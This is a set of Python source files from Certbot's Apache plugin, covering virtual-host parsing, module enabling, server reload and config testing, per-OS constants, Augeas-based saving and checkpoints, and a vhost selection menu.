        """Find appropriate HTTP vhost for ssl_vhost."""
        # First candidate vhosts filter
        candidate_http_vhs = [
            vhost for vhost in self.vhosts if not vhost.ssl
        ]

        # Second filter - check addresses
        for http_vh in candidate_http_vhs:
            if http_vh.same_server(ssl_vhost):
                return http_vh
        # Third filter - if none with same names, return generic
        for http_vh in candidate_http_vhs:
            if http_vh.same_server(ssl_vhost, generic=True):
                return http_vh

        return None

    def _get_proposed_addrs(self, vhost, port="80"):
        """Return all addrs of vhost with the port replaced with the specified.

        :param obj.VirtualHost ssl_vhost: Original Vhost
        :param str port: Desired port for new addresses

        :returns: `set` of :class:`~obj.Addr`

        """
        redirects = set()
        for addr in vhost.addrs:
            redirects.add(addr.get_addr_obj(port))

        return redirects

    def get_all_certs_keys(self):
        """Find all existing keys, certs from configuration.

        Retrieve all certs and keys set in VirtualHosts on the Apache server

        :returns: list of tuples with form [(cert, key, path)]
            cert - str path to certificate file
            key - str path to associated key file
            path - File path to configuration file.
        :rtype: list

        """
        c_k = set()

        for vhost in self.vhosts:
            if vhost.ssl:
                cert_path = self.parser.find_dir(
                    "SSLCertificateFile", None,
                    start=vhost.path, exclude=False)
                key_path = self.parser.find_dir(
                    "SSLCertificateKeyFile", None,
                    start=vhost.path, exclude=False)

                if cert_path and key_path:
                    cert = os.path.abspath(self.parser.get_arg(cert_path[-1]))
                    key = os.path.abspath(self.parser.get_arg(key_path[-1]))
                    c_k.add((cert, key, get_file_path(cert_path[-1])))
                else:
                    logger.warning(
                        "Invalid VirtualHost configuration - %s", vhost.filep)
        return c_k

    def is_site_enabled(self, avail_fp):
        """Checks to see if the given site is enabled.

        .. todo:: fix hardcoded sites-enabled, check os.path.samefile

        :param str avail_fp: Complete file path of available site

        :returns: Success
        :rtype: bool

        """

        enabled_dir = os.path.join(self.parser.root, "sites-enabled")
        if not os.path.isdir(enabled_dir):
            error_msg = ("Directory '{0}' does not exist. Please ensure "
                         "that the values for --apache-handle-sites and "
                         "--apache-server-root are correct for your "
                         "environment.".format(enabled_dir))
            raise errors.ConfigurationError(error_msg)
        for entry in os.listdir(enabled_dir):
            try:
                if filecmp.cmp(avail_fp, os.path.join(enabled_dir, entry)):
                    return True
            except OSError:
                pass
        return False

    def enable_site(self, vhost):
        """Enables an available site, Apache reload required.

        .. note:: Does not make sure that the site correctly works or that all
                  modules are enabled appropriately.

        .. todo:: This function should number subdomains before the domain
                  vhost

        .. todo:: Make sure link is not broken...

        :param vhost: vhost to enable
        :type vhost: :class:`~certbot_apache.obj.VirtualHost`

        :raises .errors.NotSupportedError: If filesystem layout is not
            supported.

        """
        if self.is_site_enabled(vhost.filep):
            return

        if "/sites-available/" in vhost.filep:
            enabled_path = ("%s/sites-enabled/%s" %
                            (self.parser.root, os.path.basename(vhost.filep)))
            self.reverter.register_file_creation(False, enabled_path)
            os.symlink(vhost.filep, enabled_path)
            vhost.enabled = True
            logger.info("Enabling available site: %s", vhost.filep)
            self.save_notes += "Enabled site %s\n" % vhost.filep
        else:
            raise errors.NotSupportedError(
                "Unsupported filesystem layout. "
                "sites-available/enabled expected.")

    def enable_mod(self, mod_name, temp=False):
        """Enables module in Apache.

        Both enables and reloads Apache so module is active.

        :param str mod_name: Name of the module to enable. (e.g. 'ssl')
        :param bool temp: Whether or not this is a temporary action.

        :raises .errors.NotSupportedError: If the filesystem layout is not
            supported.
        :raises .errors.MisconfigurationError: If a2enmod or a2dismod cannot be
            run.

        """
        # Support Debian specific setup
        avail_path = os.path.join(self.parser.root, "mods-available")
        enabled_path = os.path.join(self.parser.root, "mods-enabled")
        if not os.path.isdir(avail_path) or not os.path.isdir(enabled_path):
            raise errors.NotSupportedError(
                "Unsupported directory layout. You may try to enable mod %s "
                "and try again." % mod_name)

        deps = _get_mod_deps(mod_name)

        # Enable all dependencies
        for dep in deps:
            if (dep + "_module") not in self.parser.modules:
                self._enable_mod_debian(dep, temp)
                self._add_parser_mod(dep)

                note = "Enabled dependency of %s module - %s" % (mod_name, dep)
                if not temp:
                    self.save_notes += note + os.linesep
                logger.debug(note)

        # Enable actual module
        self._enable_mod_debian(mod_name, temp)
        self._add_parser_mod(mod_name)

        if not temp:
            self.save_notes += "Enabled %s module in Apache\n" % mod_name
        logger.info("Enabled Apache %s module", mod_name)

        # Modules can enable additional config files. Variables may be defined
        # within these new configuration sections.
        # Reload is not necessary as DUMP_RUN_CFG uses latest config.
        self.parser.update_runtime_variables()

    def _add_parser_mod(self, mod_name):
        """Shortcut for updating parser modules."""
        self.parser.modules.add(mod_name + "_module")
        self.parser.modules.add("mod_" + mod_name + ".c")

    def _enable_mod_debian(self, mod_name, temp):
        """Assumes mods-available, mods-enabled layout."""
        # Generate reversal command.
        # Try to be safe here... check that we can probably reverse before
        # applying enmod command
        if not util.exe_exists(self.conf("dismod")):
            raise errors.MisconfigurationError(
                "Unable to find a2dismod, please make sure a2enmod and "
                "a2dismod are configured correctly for certbot.")

        self.reverter.register_undo_command(
            temp, [self.conf("dismod"), mod_name])
        util.run_script([self.conf("enmod"), mod_name])

    def restart(self):
        """Runs a config test and reloads the Apache server.

        :raises .errors.MisconfigurationError: If either the config test
            or reload fails.

        """
        self.config_test()
        self._reload()

    def _reload(self):
        """Reloads the Apache server.

        :raises .errors.MisconfigurationError: If reload fails

        """
        try:
            util.run_script(constants.os_constant("restart_cmd"))
        except errors.SubprocessError as err:
            raise errors.MisconfigurationError(str(err))

    def config_test(self):  # pylint: disable=no-self-use
        """Check the configuration of Apache for errors.

        :raises .errors.MisconfigurationError: If config_test fails

        """
        try:
            util.run_script(constants.os_constant("conftest_cmd"))
        except errors.SubprocessError as err:
            raise errors.MisconfigurationError(str(err))

    def get_version(self):
        """Return version of Apache Server.

        Version is returned as tuple. (ie. 2.4.7 = (2, 4, 7))

        :returns: version
        :rtype: tuple

        :raises .PluginError: if unable to find Apache version

        """
        try:
            stdout, _ = util.run_script(constants.os_constant("version_cmd"))
        except errors.SubprocessError:
            raise errors.PluginError(
                "Unable to run %s -v" %
                constants.os_constant("version_cmd"))

        regex = re.compile(r"Apache/([0-9\.]*)", re.IGNORECASE)
        matches = regex.findall(stdout)

        if len(matches) != 1:
            raise errors.PluginError("Unable to find Apache version")

        return tuple([int(i) for i in matches[0].split(".")])

    def more_info(self):
        """Human-readable string to help understand the module"""
        return (
            "Configures Apache to authenticate and install HTTPS.{0}"
            "Server root: {root}{0}"
            "Version: {version}".format(
                os.linesep, root=self.parser.loc["root"],
                version=".".join(str(i) for i in self.version))
        )

    ###########################################################################
    # Challenges Section
    ###########################################################################
    def get_chall_pref(self, unused_domain):  # pylint: disable=no-self-use
        """Return list of challenge preferences."""
        return [challenges.TLSSNI01]

    def perform(self, achalls):
        """Perform the configuration related challenge.

        This function currently assumes all challenges will be fulfilled.
        If this turns out not to be the case in the future. Cleanup and
        outstanding challenges will have to be designed better.

        """
        self._chall_out.update(achalls)
        responses = [None] * len(achalls)
        chall_doer = tls_sni_01.ApacheTlsSni01(self)

        for i, achall in enumerate(achalls):
            # Currently also have chall_doer hold associated index of the
            # challenge. This helps to put all of the responses back together
            # when they are all complete.
            chall_doer.add_chall(achall, i)

        sni_response = chall_doer.perform()
        if sni_response:
            # Must reload in order to activate the challenges.
            # Handled here because we may be able to load up other challenge
            # types
            self.restart()

            # TODO: Remove this dirty hack. We need to determine a reliable way
            # of identifying when the new configuration is being used.
            time.sleep(3)

            # Go through all of the challenges and assign them to the proper
            # place in the responses return value. All responses must be in the
            # same order as the original challenges.
            for i, resp in enumerate(sni_response):
                responses[chall_doer.indices[i]] = resp

        return responses

    def cleanup(self, achalls):
        """Revert all challenges."""
        self._chall_out.difference_update(achalls)

        # If all of the challenges have been finished, clean up everything
        if not self._chall_out:
            self.revert_challenge_config()
            self.restart()
            self.parser.init_modules()


def _get_mod_deps(mod_name):
    """Get known module dependencies.

    .. note:: This does not need to be accurate in order for the client to
        run.  This simply keeps things clean if the user decides to revert
        changes.
    .. warning:: If all deps are not included, it may cause incorrect parsing
        behavior, due to enable_mod's shortcut for updating the parser's
        currently defined modules (`.ApacheConfigurator._add_parser_mod`)
        This would only present a major problem in extremely atypical
        configs that use ifmod for the missing deps.

    """
    deps = {
        "ssl": ["setenvif", "mime"]
    }
    return deps.get(mod_name, [])


def get_file_path(vhost_path):
    """Get file path from augeas_vhost_path.

    Takes in Augeas path and returns the file name

    :param str vhost_path: Augeas virtual host path

    :returns: filename of vhost
    :rtype: str

    """
    # Strip off /files/
    try:
        if vhost_path.startswith("/files/"):
            avail_fp = vhost_path[7:].split("/")
        else:
            return None
    except AttributeError:
        # If we recieved a None path
        return None

    last_good = ""
    # Loop through the path parts and validate after every addition
    for p in avail_fp:
        cur_path = last_good+"/"+p
        if os.path.exists(cur_path):
            last_good = cur_path
        else:
            break
    return last_good


def install_ssl_options_conf(options_ssl):
    """
    Copy Certbot's SSL options file into the system's config dir if
    required.
    """
    # XXX if we ever try to enforce a local privilege boundary (eg, running
    # certbot for unprivileged users via setuid), this function will need
    # to be modified.

    # XXX if the user is in security-autoupdate mode, we should be willing to
    # overwrite the options_ssl file at least if it's unmodified:
    # https://github.com/letsencrypt/letsencrypt/issues/1123

    # Check to make sure options-ssl.conf is installed
    if not os.path.isfile(options_ssl):
        shutil.copyfile(constants.os_constant("MOD_SSL_CONF_SRC"), options_ssl)






"""Module contains classes used by the Apache Configurator."""
import re

from certbot.plugins import common


class Addr(common.Addr):
    """Represents an Apache address."""

    def __eq__(self, other):
        """This is defined as equalivalent within Apache.

        ip_addr:* == ip_addr

        """
        if isinstance(other, self.__class__):
            return ((self.tup == other.tup) or
                    (self.tup[0] == other.tup[0] and
                     self.is_wildcard() and other.is_wildcard()))
        return False

    def __ne__(self, other):
        return not self.__eq__(other)

    def __repr__(self):
        return "certbot_apache.obj.Addr(" + repr(self.tup) + ")"

    def _addr_less_specific(self, addr):
        """Returns if addr.get_addr() is more specific than self.get_addr()."""
        # pylint: disable=protected-access
        return addr._rank_specific_addr() > self._rank_specific_addr()

    def _rank_specific_addr(self):
        """Returns numerical rank for get_addr()

        :returns: 2 - FQ, 1 - wildcard, 0 - _default_
        :rtype: int

        """
        if self.get_addr() == "_default_":
            return 0
        elif self.get_addr() == "*":
            return 1
        else:
            return 2

    def conflicts(self, addr):
        r"""Returns if address could conflict with correct function of self.

        Could addr take away service provided by self within Apache?

        .. note::IP Address is more important than wildcard.
            Connection from 127.0.0.1:80 with choices of *:80 and 127.0.0.1:*
            chooses 127.0.0.1:\*

        .. todo:: Handle domain name addrs...

        Examples:

        =========================================  =====
        ``127.0.0.1:\*.conflicts(127.0.0.1:443)``  True
        ``127.0.0.1:443.conflicts(127.0.0.1:\*)``  False
        ``\*:443.conflicts(\*:80)``                False
        ``_default_:443.conflicts(\*:443)``        True
        =========================================  =====

        """
        if self._addr_less_specific(addr):
            return True
        elif self.get_addr() == addr.get_addr():
            if self.is_wildcard() or self.get_port() == addr.get_port():
                return True
        return False

    def is_wildcard(self):
        """Returns if address has a wildcard port."""
        return self.tup[1] == "*" or not self.tup[1]

    def get_sni_addr(self, port):
        """Returns the least specific address that resolves on the port.

        Examples:

        - ``1.2.3.4:443`` -> ``1.2.3.4:<port>``
        - ``1.2.3.4:*`` -> ``1.2.3.4:*``

        :param str port: Desired port

        """
        if self.is_wildcard():
            return self

        return self.get_addr_obj(port)


class VirtualHost(object):  # pylint: disable=too-few-public-methods
    """Represents an Apache Virtualhost.

    :ivar str filep: file path of VH
    :ivar str path: Augeas path to virtual host
    :ivar set addrs: Virtual Host addresses (:class:`set` of
        :class:`common.Addr`)
    :ivar str name: ServerName of VHost
    :ivar list aliases: Server aliases of vhost
        (:class:`list` of :class:`str`)

    :ivar bool ssl: SSLEngine on in vhost
    :ivar bool enabled: Virtual host is enabled
    :ivar bool modmacro: VirtualHost is using mod_macro

    https://httpd.apache.org/docs/2.4/vhosts/details.html

    .. todo:: Any vhost that includes the magic _default_ wildcard is given the
              same ServerName as the main server.

    """
    # ?: is used for not returning enclosed characters
    strip_name = re.compile(r"^(?:.+://)?([^ :$]*)")

    def __init__(self, filep, path, addrs, ssl, enabled, name=None,
                 aliases=None, modmacro=False):

        # pylint: disable=too-many-arguments
        """Initialize a VH."""
        self.filep = filep
        self.path = path
        self.addrs = addrs
        self.name = name
        self.aliases = aliases if aliases is not None else set()
        self.ssl = ssl
        self.enabled = enabled
        self.modmacro = modmacro

    def get_names(self):
        """Return a set of all names."""
        all_names = set()
        all_names.update(self.aliases)
        # Strip out any scheme:// and <port> field from servername
        if self.name is not None:
            all_names.add(VirtualHost.strip_name.findall(self.name)[0])

        return all_names

    def __str__(self):
        return (
            "File: {filename}\n"
            "Vhost path: {vhpath}\n"
            "Addresses: {addrs}\n"
            "Name: {name}\n"
            "Aliases: {aliases}\n"
            "TLS Enabled: {tls}\n"
            "Site Enabled: {active}\n"
            "mod_macro Vhost: {modmacro}".format(
                filename=self.filep,
                vhpath=self.path,
                addrs=", ".join(str(addr) for addr in self.addrs),
                name=self.name if self.name is not None else "",
                aliases=", ".join(name for name in self.aliases),
                tls="Yes" if self.ssl else "No",
                active="Yes" if self.enabled else "No",
                modmacro="Yes" if self.modmacro else "No"))

    def __eq__(self, other):
        if isinstance(other, self.__class__):
            return (self.filep == other.filep and self.path == other.path and
                    self.addrs == other.addrs and
                    self.get_names() == other.get_names() and
                    self.ssl == other.ssl and
                    self.enabled == other.enabled and
                    self.modmacro == other.modmacro)

        return False

    def __ne__(self, other):
        return not self.__eq__(other)

    def conflicts(self, addrs):
        """See if vhost conflicts with any of the addrs.

        This determines whether or not these addresses would/could overwrite
        the vhost addresses.

        :param addrs: Iterable Addresses
        :type addrs: Iterable :class:~obj.Addr

        :returns: If addresses conflicts with vhost
        :rtype: bool

        """
        for pot_addr in addrs:
            for addr in self.addrs:
                if addr.conflicts(pot_addr):
                    return True
        return False

    def same_server(self, vhost, generic=False):
        """Determines if the vhost is the same 'server'.

        Used in redirection - indicates whether or not the two virtual hosts
        serve on the exact same IP combinations, but different ports.
        The generic flag indicates that that we're trying to match to a
        default or generic vhost

        .. todo:: Handle _default_

        """

        if not generic:
            if vhost.get_names() != self.get_names():
                return False

            # If equal and set is not empty... assume same server
            if self.name is not None or self.aliases:
                return True
        # If we're looking for a generic vhost,
        # don't return one with a ServerName
        elif self.name:
            return False

        # Both sets of names are empty.

        # Make conservative educated guess... this is very restrictive
        # Consider adding more safety checks.
        if len(vhost.addrs) != len(self.addrs):
            return False

        # already_found acts to keep everything very conservative.
        # Don't allow multiple ip:ports in same set.
        already_found = set()

        for addr in vhost.addrs:
            for local_addr in self.addrs:
                if (local_addr.get_addr() == addr.get_addr() and
                        local_addr != addr and
                        local_addr.get_addr() not in already_found):

                    # This intends to make sure we aren't double counting...
                    # e.g. 127.0.0.1:* - We require same number of addrs
                    #  currently
                    already_found.add(local_addr.get_addr())
                    break
            else:
                return False

        return True






"""Apache plugin constants."""
import pkg_resources
from certbot import util

CLI_DEFAULTS_DEFAULT = dict(
    server_root="/etc/apache2",
    vhost_root="/etc/apache2/sites-available",
    vhost_files="*",
    version_cmd=['apache2ctl', '-v'],
    define_cmd=['apache2ctl', '-t', '-D', 'DUMP_RUN_CFG'],
    restart_cmd=['apache2ctl', 'graceful'],
    conftest_cmd=['apache2ctl', 'configtest'],
    enmod=None,
    dismod=None,
    le_vhost_ext="-le-ssl.conf",
    handle_mods=False,
    handle_sites=False,
    challenge_location="/etc/apache2",
    MOD_SSL_CONF_SRC=pkg_resources.resource_filename(
        "certbot_apache", "options-ssl-apache.conf")
)
CLI_DEFAULTS_DEBIAN = dict(
    server_root="/etc/apache2",
    vhost_root="/etc/apache2/sites-available",
    vhost_files="*",
    version_cmd=['apache2ctl', '-v'],
    define_cmd=['apache2ctl', '-t', '-D', 'DUMP_RUN_CFG'],
    restart_cmd=['apache2ctl', 'graceful'],
    conftest_cmd=['apache2ctl', 'configtest'],
    enmod="a2enmod",
    dismod="a2dismod",
    le_vhost_ext="-le-ssl.conf",
    handle_mods=True,
    handle_sites=True,
    challenge_location="/etc/apache2",
    MOD_SSL_CONF_SRC=pkg_resources.resource_filename(
        "certbot_apache", "options-ssl-apache.conf")
)
CLI_DEFAULTS_CENTOS = dict(
    server_root="/etc/httpd",
    vhost_root="/etc/httpd/conf.d",
    vhost_files="*.conf",
    version_cmd=['apachectl', '-v'],
    define_cmd=['apachectl', '-t', '-D', 'DUMP_RUN_CFG'],
    restart_cmd=['apachectl', 'graceful'],
    conftest_cmd=['apachectl', 'configtest'],
    enmod=None,
    dismod=None,
    le_vhost_ext="-le-ssl.conf",
    handle_mods=False,
    handle_sites=False,
    challenge_location="/etc/httpd/conf.d",
    MOD_SSL_CONF_SRC=pkg_resources.resource_filename(
        "certbot_apache", "centos-options-ssl-apache.conf")
)
CLI_DEFAULTS_GENTOO = dict(
    server_root="/etc/apache2",
    vhost_root="/etc/apache2/vhosts.d",
    vhost_files="*.conf",
    version_cmd=['/usr/sbin/apache2', '-v'],
    define_cmd=['apache2ctl', 'virtualhosts'],
    restart_cmd=['apache2ctl', 'graceful'],
    conftest_cmd=['apache2ctl', 'configtest'],
    enmod=None,
    dismod=None,
    le_vhost_ext="-le-ssl.conf",
    handle_mods=False,
    handle_sites=False,
    challenge_location="/etc/apache2/vhosts.d",
    MOD_SSL_CONF_SRC=pkg_resources.resource_filename(
        "certbot_apache", "options-ssl-apache.conf")
)
CLI_DEFAULTS_DARWIN = dict(
    server_root="/etc/apache2",
    vhost_root="/etc/apache2/other",
    vhost_files="*.conf",
    version_cmd=['/usr/sbin/httpd', '-v'],
    define_cmd=['/usr/sbin/httpd', '-t', '-D', 'DUMP_RUN_CFG'],
    restart_cmd=['apachectl', 'graceful'],
    conftest_cmd=['apachectl', 'configtest'],
    enmod=None,
    dismod=None,
    le_vhost_ext="-le-ssl.conf",
    handle_mods=False,
    handle_sites=False,
    challenge_location="/etc/apache2/other",
    MOD_SSL_CONF_SRC=pkg_resources.resource_filename(
        "certbot_apache", "options-ssl-apache.conf")
)
CLI_DEFAULTS_SUSE = dict(
    server_root="/etc/apache2",
    vhost_root="/etc/apache2/vhosts.d",
    vhost_files="*.conf",
    version_cmd=['apache2ctl', '-v'],
    define_cmd=['apache2ctl', '-t', '-D', 'DUMP_RUN_CFG'],
    restart_cmd=['apache2ctl', 'graceful'],
    conftest_cmd=['apache2ctl', 'configtest'],
    enmod="a2enmod",
    dismod="a2dismod",
    le_vhost_ext="-le-ssl.conf",
    handle_mods=False,
    handle_sites=False,
    challenge_location="/etc/apache2/vhosts.d",
    MOD_SSL_CONF_SRC=pkg_resources.resource_filename(
        "certbot_apache", "options-ssl-apache.conf")
)
CLI_DEFAULTS = {
    "default": CLI_DEFAULTS_DEFAULT,
    "debian": CLI_DEFAULTS_DEBIAN,
    "ubuntu": CLI_DEFAULTS_DEBIAN,
    "centos": CLI_DEFAULTS_CENTOS,
    "centos linux": CLI_DEFAULTS_CENTOS,
    "fedora": CLI_DEFAULTS_CENTOS,
    "red hat enterprise linux server": CLI_DEFAULTS_CENTOS,
    "rhel": CLI_DEFAULTS_CENTOS,
    "amazon": CLI_DEFAULTS_CENTOS,
    "gentoo": CLI_DEFAULTS_GENTOO,
    "gentoo base system": CLI_DEFAULTS_GENTOO,
    "darwin": CLI_DEFAULTS_DARWIN,
    "opensuse": CLI_DEFAULTS_SUSE,
    "suse": CLI_DEFAULTS_SUSE,
}
"""CLI defaults."""

MOD_SSL_CONF_DEST = "options-ssl-apache.conf"
"""Name of the mod_ssl config file as saved in `IConfig.config_dir`."""

AUGEAS_LENS_DIR = pkg_resources.resource_filename(
    "certbot_apache", "augeas_lens")
"""Path to the Augeas lens directory"""

REWRITE_HTTPS_ARGS = [
    "^", "https://%{SERVER_NAME}%{REQUEST_URI}", "[L,QSA,R=permanent]"]
"""Apache version<2.3.9 rewrite rule arguments used for redirections to
https vhost"""

REWRITE_HTTPS_ARGS_WITH_END = [
    "^", "https://%{SERVER_NAME}%{REQUEST_URI}", "[END,QSA,R=permanent]"]
"""Apache version >= 2.3.9 rewrite rule arguments used for redirections to
    https vhost"""

HSTS_ARGS = ["always", "set", "Strict-Transport-Security",
             "\"max-age=31536000\""]
"""Apache header arguments for HSTS"""

UIR_ARGS = ["always", "set", "Content-Security-Policy",
            "upgrade-insecure-requests"]

HEADER_ARGS = {"Strict-Transport-Security": HSTS_ARGS,
               "Upgrade-Insecure-Requests": UIR_ARGS}


def os_constant(key):
    """
    Get a constant value for operating system

    :param key: name of cli constant
    :return: value of constant for active os
    """

    os_info = util.get_os_info()
    try:
        constants = CLI_DEFAULTS[os_info[0].lower()]
    except KeyError:
        constants = os_like_constants()
        if not constants:
            constants = CLI_DEFAULTS["default"]
    return constants[key]


def os_like_constants():
    """
    Try to get constants for distribution with
    similar layout and configuration, indicated by
    /etc/os-release variable "LIKE"

    :returns: Constants dictionary
    :rtype: `dict`
    """

    os_like = util.get_systemd_os_like()
    if os_like:
        for os_name in os_like:
            if os_name in CLI_DEFAULTS.keys():
                return CLI_DEFAULTS[os_name]
    return {}






"""Certbot Apache plugin."""






"""Class of Augeas Configurators."""
import logging


from certbot import errors
from certbot import reverter
from certbot.plugins import common

from certbot_apache import constants

logger = logging.getLogger(__name__)


class AugeasConfigurator(common.Plugin):
    """Base Augeas Configurator class.

    :ivar config: Configuration.
    :type config: :class:`~certbot.interfaces.IConfig`

    :ivar aug: Augeas object
    :type aug: :class:`augeas.Augeas`

    :ivar str save_notes: Human-readable configuration change notes
    :ivar reverter: saves and reverts checkpoints
    :type reverter: :class:`certbot.reverter.Reverter`

    """
    def __init__(self, *args, **kwargs):
        super(AugeasConfigurator, self).__init__(*args, **kwargs)

        # Placeholder for augeas
        self.aug = None

        self.save_notes = ""

        # See if any temporary changes need to be recovered
        # This needs to occur before VirtualHost objects are setup...
        # because this will change the underlying configuration and potential
        # vhosts
        self.reverter = reverter.Reverter(self.config)

    def init_augeas(self):
        """ Initialize the actual Augeas instance """
        import augeas
        self.aug = augeas.Augeas(
            # specify a directory to load our preferred lens from
            loadpath=constants.AUGEAS_LENS_DIR,
            # Do not save backup (we do it ourselves), do not load
            # anything by default
            flags=(augeas.Augeas.NONE | augeas.Augeas.NO_MODL_AUTOLOAD))
        self.recovery_routine()

    def check_parsing_errors(self, lens):
        """Verify Augeas can parse all of the lens files.

        :param str lens: lens to check for errors

        :raises .errors.PluginError: If there has been an error in parsing with
            the specified lens.

        """
        error_files = self.aug.match("/augeas//error")

        for path in error_files:
            # Check to see if it was an error resulting from the use of
            # the httpd lens
            lens_path = self.aug.get(path + "/lens")
            # As aug.get may return null
            if lens_path and lens in lens_path:
                msg = (
                    "There has been an error in parsing the file (%s): %s",
                    # Strip off /augeas/files and /error
                    path[13:len(path) - 6], self.aug.get(path + "/message"))
                raise errors.PluginError(msg)

    # TODO: Cleanup this function
    def save(self, title=None, temporary=False):
        """Saves all changes to the configuration files.

        This function first checks for save errors, if none are found,
        all configuration changes made will be saved. According to the
        function parameters. If an exception is raised, a new checkpoint
        was not created.

        :param str title: The title of the save. If a title is given, the
            configuration will be saved as a new checkpoint and put in a
            timestamped directory.

        :param bool temporary: Indicates whether the changes made will
            be quickly reversed in the future (ie. challenges)

        :raises .errors.PluginError: If there was an error in Augeas, in
            an attempt to save the configuration, or an error creating a
            checkpoint

        """
        save_state = self.aug.get("/augeas/save")
        self.aug.set("/augeas/save", "noop")
        # Existing Errors
        ex_errs = self.aug.match("/augeas//error")
        try:
            # This is a noop save
            self.aug.save()
        except (RuntimeError, IOError):
            self._log_save_errors(ex_errs)
            # Erase Save Notes
            self.save_notes = ""
            raise errors.PluginError(
                "Error saving files, check logs for more info.")

        # Retrieve list of modified files
        # Note: Noop saves can cause the file to be listed twice, I used a
        # set to remove this possibility. This is a known augeas 0.10 error.
        save_paths = self.aug.match("/augeas/events/saved")

        # If the augeas tree didn't change, no files were saved and a backup
        # should not be created
        if save_paths:
            save_files = set()
            for path in save_paths:
                save_files.add(self.aug.get(path)[6:])

            try:
                # Create Checkpoint
                if temporary:
                    self.reverter.add_to_temp_checkpoint(
                        save_files, self.save_notes)
                else:
                    self.reverter.add_to_checkpoint(save_files,
                                                    self.save_notes)
            except errors.ReverterError as err:
                raise errors.PluginError(str(err))

        self.aug.set("/augeas/save", save_state)
        self.save_notes = ""
        self.aug.save()

        if title and not temporary:
            try:
                self.reverter.finalize_checkpoint(title)
            except errors.ReverterError as err:
                raise errors.PluginError(str(err))

    def _log_save_errors(self, ex_errs):
        """Log errors due to bad Augeas save.

        :param list ex_errs: Existing errors before save

        """
        # Check for the root of save problems
        new_errs = self.aug.match("/augeas//error")
        # logger.error("During Save - %s", mod_conf)
        logger.error("Unable to save files: %s. Attempted Save Notes: %s",
                     ", ".join(err[13:len(err) - 6] for err in new_errs
                               # Only new errors caused by recent save
                               if err not in ex_errs), self.save_notes)

    # Wrapper functions for Reverter class
    def recovery_routine(self):
        """Revert all previously modified files.

        Reverts all modified files that have not been saved as a checkpoint

        :raises .errors.PluginError: If unable to recover the configuration

        """
        try:
            self.reverter.recovery_routine()
        except errors.ReverterError as err:
            raise errors.PluginError(str(err))
        # Need to reload configuration after these changes take effect
        self.aug.load()

    def revert_challenge_config(self):
        """Used to cleanup challenge configurations.

        :raises .errors.PluginError: If unable to revert the challenge config.

        """
        try:
            self.reverter.revert_temporary_config()
        except errors.ReverterError as err:
            raise errors.PluginError(str(err))
        self.aug.load()

    def rollback_checkpoints(self, rollback=1):
        """Rollback saved checkpoints.

        :param int rollback: Number of checkpoints to revert

        :raises .errors.PluginError: If there is a problem with the input or
            the function is unable to correctly revert the configuration

        """
        try:
            self.reverter.rollback_checkpoints(rollback)
        except errors.ReverterError as err:
            raise errors.PluginError(str(err))
        self.aug.load()

    def view_config_changes(self):
        """Show all of the configuration changes that have taken place.

        :raises .errors.PluginError: If there is a problem while processing
            the checkpoints directories.

        """
        try:
            self.reverter.view_config_changes()
        except errors.ReverterError as err:
            raise errors.PluginError(str(err))






"""Contains UI methods for Apache operations."""
import logging
import os

import zope.component

from certbot import errors
from certbot import interfaces

import certbot.display.util as display_util


logger = logging.getLogger(__name__)


def select_vhost(domain, vhosts):
    """Select an appropriate Apache Vhost.

    :param vhosts: Available Apache Virtual Hosts
    :type vhosts: :class:`list` of type `~obj.Vhost`

    :returns: VirtualHost or `None`
    :rtype: `~obj.Vhost` or `None`

    """
    if not vhosts:
        return None
    while True:
        code, tag = _vhost_menu(domain, vhosts)
        if code == display_util.HELP:
            _more_info_vhost(vhosts[tag])
        elif code == display_util.OK:
            return vhosts[tag]
        else:
            return None


def _vhost_menu(domain, vhosts):
    """Select an appropriate Apache Vhost.

    :param vhosts: Available Apache Virtual Hosts
    :type vhosts: :class:`list` of type `~obj.Vhost`

    :returns: Display tuple - ('code', tag')
    :rtype: `tuple`

    """
    # Free characters in the line of display text (9 is for ' | ' formatting)
    free_chars = display_util.WIDTH - len("HTTPS") - len("Enabled") - 9

    if free_chars < 2:
        logger.debug("Display size is too small for "
                     "certbot_apache.display_ops._vhost_menu()")
        # This runs the edge off the screen, but it doesn't cause an "error"
        filename_size = 1
        disp_name_size = 1
    else:
        # Filename is a bit more important and probably longer with 000-*
        filename_size = int(free_chars * .6)
        disp_name_size = free_chars - filename_size

    choices = []
    for vhost in vhosts:
        if len(vhost.get_names()) == 1:
            disp_name = next(iter(vhost.get_names()))
        elif len(vhost.get_names()) == 0:
            disp_name = ""
        else:
            disp_name = "Multiple Names"

        choices.append(
            "{fn:{fn_size}s} | {name:{name_size}s} | {https:5s} | "
            "{active:7s}".format(
                fn=os.path.basename(vhost.filep)[:filename_size],
                name=disp_name[:disp_name_size],
                https="HTTPS" if vhost.ssl else "",
                active="Enabled" if vhost.enabled else "",
                fn_size=filename_size,
                name_size=disp_name_size)
        )

    try:
        code, tag = zope.component.getUtility(interfaces.IDisplay).menu(
            "We were unable to find a vhost with a ServerName "
            "or Address of {0}.{1}Which virtual host would you "
            "like to choose?\n(note: conf files with multiple "
            "vhosts are not yet supported)".format(domain, os.linesep),
            choices, help_label="More Info", ok_label="Select")
    except errors.MissingCommandlineFlag:
        msg = ("Encountered vhost ambiguity but unable to ask for user guidance in "
               "non-interactive mode. Currently Certbot needs each vhost to be "
               "in its own conf file, and may need vhosts to be explicitly "
               "labelled with ServerName or ServerAlias directories.")
        logger.warning(msg)
        raise errors.MissingCommandlineFlag(msg)

    return code, tag


def _more_info_vhost(vhost):
    zope.component.getUtility(interfaces.IDisplay).notification(
        "Virtual Host Information:{0}{1}{0}{2}".format(
            os.linesep, "-" * (display_util.WIDTH - 4), str(vhost)),
        height=display_util.HEIGHT)






"""Common utilities for certbot_apache."""
import os
import sys
import unittest

import augeas
import mock
import zope.component

from acme import jose

from certbot.display import util as display_util

from certbot.plugins import common

from certbot.tests import test_util

from certbot_apache import configurator
from certbot_apache import constants
from certbot_apache import obj


class ApacheTest(unittest.TestCase):  # pylint: disable=too-few-public-methods

    def setUp(self, test_dir="debian_apache_2_4/multiple_vhosts",
              config_root="debian_apache_2_4/multiple_vhosts/apache2",
              vhost_root="debian_apache_2_4/multiple_vhosts/apache2/sites-available"):
        # pylint: disable=arguments-differ
        super(ApacheTest, self).setUp()

        self.temp_dir, self.config_dir, self.work_dir = common.dir_setup(
            test_dir=test_dir,
            pkg="certbot_apache.tests")

        self.ssl_options = common.setup_ssl_options(
            self.config_dir, constants.os_constant("MOD_SSL_CONF_SRC"),
            constants.MOD_SSL_CONF_DEST)

        self.config_path = os.path.join(self.temp_dir, config_root)
        self.vhost_path = os.path.join(self.temp_dir, vhost_root)

        self.rsa512jwk = jose.JWKRSA.load(test_util.load_vector(
            "rsa512_key.pem"))

